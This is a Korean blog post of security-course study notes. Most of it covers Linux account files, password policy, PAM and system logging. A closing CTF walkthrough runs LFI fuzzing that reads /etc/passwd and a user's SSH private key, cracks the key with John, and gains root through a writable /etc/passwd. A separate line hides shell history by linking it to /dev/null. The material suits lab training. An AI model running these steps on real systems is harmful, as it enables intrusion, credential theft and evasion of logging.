정보보안아카데미

#19

이야기prog 2025. 8. 26. 09:08
반응형

/etc/passwd

 

사용자계정: 패스워드: uid: gid: 사용자이름: 홈 디렉토리: 로그인 쉘

 

/etc/shadow

 

사용자계정: 암호화된 패스워드:패스워드 마지막 변경: 패스워드 최소 사용기간 : 패스워드 최대 사용기간: 패스워드 만료 이전 경고: 패스워드 만료 이후 계정이 잠기기 전까지 비활성 일수: 만료일: 관리자 임의 사용공간 

 

암호화된 패스워드 

$6$~~~~~~~~~~~$~~~~~~~~~~~~~~~~~~~~~~~~~~~:

암호화 알고리즘 salt encrypted password

 

파일의 앞에 

d,p,s,b,l,c 등이 올 수 있는데

directory, pipe, socket, block, link, character 파일을 의미한다.

 

umask (원하는 umask)로 입력시 변경됨

chown: chown ftptest ftp.txt

chgrp: chgrp users ftp.txt

chmod: chmod 755

 

/etc/security/pwquality.conf 에서 패스워드 복잡도 설정

6번 라인 difok = different ok 

ex) difok= 1 (이전 패스워드와 다른 문자 1개 이상)

11번 라인 최소 패스워드 길이

15번 dcredit = 패스워드 최대 숫자개수

만약 -(음수)로 들어가면 최소 숫자개수로 바뀜

 

20번 ucredit = 대문자

25번 lcredit = 소문자

30번 ocredit = 특수문자

34번 minclass = 조합의 최소종류 (digits, uppercase, lowercase, others)

38번 maxrepeat = 연달아 나오는 같은 문자의 최대 개수  

43번 maxclassrepeat = 연달아 나오는 같은 클래스 최대 개수

47번 gecoscheck = GECOS라는 사용자 항목(/etc/passwd에 uid나 사용자 계정같은 필드를 의미 )에서 유사성있는지 확인

51번 dictcheck = 사전파일에 있는지 없는지 체크 (cracking) 67번 라인에 path에 dict파일 path 삽입

70번 로그인 시도횟수

 

모든 리눅스 인증관련은 pam확인

/etc/pam.d/system-auth

authselect (pam 관리 명령어)

 

/var/log/wtmp: 마지막 로그인/로그아웃 기록을 저장하는 바이너리 파일 (who temporary라고 외워보자) (btmp, utmp, wtmp)

last 명령어로 확인가능

btmp는 lastb

utmp는 w, who

pts - 원격접속 tty - 로컬접속

 

인증관련된 로그는 보통 /var/log/secure에 저장 - syslogd에서 로그 기록

 

/var/log/lastlog - 최근 마지막으로 로그인한 유저 기록

 

/var/log/messages - device 정보, system 설정 오류, 파일시스템, 네트워크 등 시스템 관련 다양한 로그들을 저장

 

/var/log/xferlog - ftp 로그

 

~/.bash_history 에서 사용자가 사용했던 명렁어 볼 수 있음

아니면 명령어 history

 

ln -s /dev/null .bash_history -> bash_history를 /dev/null에 link를 걸어버려서 이후 명령어가 저장되지 않음

 

/etc/rsyslog.conf에서 내용들을 살펴보면

facility.priority        경로 뭐 이런식으로 저장되어있는데

 

facility는 어디서 온 로그인가, priority는 로그의 중요도를 나타낸다.

 

Facility 코드                                        의미

auth 인증 관련 (예: su, sudo, login)
authpriv 인증 중 개인 정보 포함 (보안 강화됨)
cron 크론 잡 관련 로그
daemon 백그라운드 데몬 서비스
kern 커널 메시지
mail 메일 관련 서비스
user 일반 사용자 애플리케이션 로그
local0~local7 사용자 정의 가능

 

레벨 이름                 숫자    의미

emerg 0 시스템 사용 불가 수준 (모든 사용자에게 브로드캐스트)
alert 1 즉시 조치 필요
crit 2 치명적 조건
err 3 오류 (일반적인 에러)
warning 4 경고
notice 5 정상이나 주의할 이벤트
info 6 정보성 메시지
debug 7 디버깅용 상세 정보

 

*.crit                     /var/log/critical.log

local3.noitce        /var/log/mytest.log

*.debug;authpriv.none    /var/log/all_except_auth.log 

 

journal - system 로그를 조회

journalctl -xe = 최신 system로그 확인

                -f  = 실시간 확인

                -r = reverse 최근꺼부터 나옴

 

/run/log/journal 에 다 있음

 

journal 파일위치 변경하고 싶으면 

mkdir /var/log/journal

chown root:systemd-journal /var/log/journal

chmod 2755 /var/log/journal

 

 

 

 

logrotate - 로그 순환과 관련 (설정파일 /etc/logrotate.conf 확인)

logrotate.timer가 트리거가 되어 logrotate가 실행됨

systemctl status logrotate로 확인해보면 inactive지만, logrotate.timer가 돌고있으면 상관없음

 

systemctl cat logrotate로 service파일을 살펴보면

 

[service]

부분에 type=oneshot - 한번실행후 바로 종료

execstart = 실행파일위치, conf파일 위치

 

간단한 설정 예시

 
/var/log/httpd/*.log { daily rotate 7 compress missingok notifempty create 0640 root adm sharedscripts postrotate systemctl reload httpd.service endscript }

 


각 옵션 설명

옵션의미
daily 로그를 매일 교체
rotate 7 7개까지 로그 파일 보관
compress 오래된 로그를 gzip으로 압축
missingok 로그 파일이 없어도 에러 내지 않음
notifempty 로그가 비어있으면 교체하지 않음
create 새 로그 파일 생성 시 권한과 소유자 지정
sharedscripts 여러 로그 파일이 함께 있을 때 스크립트 한 번만 실행
postrotate 로그 교체 후 실행할 스크립트 (ex: 서비스 재시작)

 

CTF

#local ip search (arp)
netdiscover -r 192.168.16.0/24

#port scanning
nmap -sC -sV -p- 192.168.16.49

#webserver dir scanning
dirb http://192.168.16.49 (-w 경로주면 common말고도 할 수 있음)
gobuster dir -u http://192.168.16.49 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
gobuster dir -u http://192.168.16.49 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,bak,back

#fuzzing: 무작위적이거나 유효하지 않은 데이터를 프로그램에 입력하여 보안 취약점을 찾아내는 소프트웨어 테스트 기법
#http://192.168.16.49/secret/evil.php?(fuzzing 부분)
#ffuf, wfuzz, zap-proxy등 -u (url) -fs 0 (http 응답 패킷 크기 0인 것은 필터링) -w (word)
ffuf -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.16.49/secret/evil.php?FUZZ=/etc/passwd -fs 0

#LFI(Local File Inclusion)취약점
#홈 디렉토리에 /home/mowree/.ssh/id_rsa (mowree사용자가 ssh사용할 때, key값이 저장된 파일이 보통 있음 이름 경로를 안바꿨다면) 
내용 복사해서 다른 파일로 저장 혹은
curl http://192.168.16.49/secret/evil.php?command=/home/mowree/.ssh/id_rsa -o (file name)

#id_rsa 내용을 crack (john, medusa 등)
chmod 600 id_rsa
ssh2john id_rsa > key.hash
john key.hash -> passwd dict확인해서 있으면 나옴 (unicorn으로 나옴)

ssh -i id_rsa mowree@192.168.16.49
unicorn

# find -u=s , writable, sudo -L 등으로 루트로서의 권한을 가질 수 있을 수 있다.
find / -writable -type f 2>/dev/null
#/etc/passwd가 writable인 것을 확인

openssl passwd 1234
#나오는 값 복사해서 /etc/passwd에 x부분에 붙여넣기 (hash값)
su root

 

 

 

 

LFI 취약점을 이용하여 root권한을 탈취하였다.

 

 

 

반응형

'정보보안아카데미' 카테고리의 다른 글

#21  (1) 2025.08.29
#20  (3) 2025.08.26
#18  (4) 2025.08.22
#17  (0) 2025.08.20
#16  (0) 2025.08.20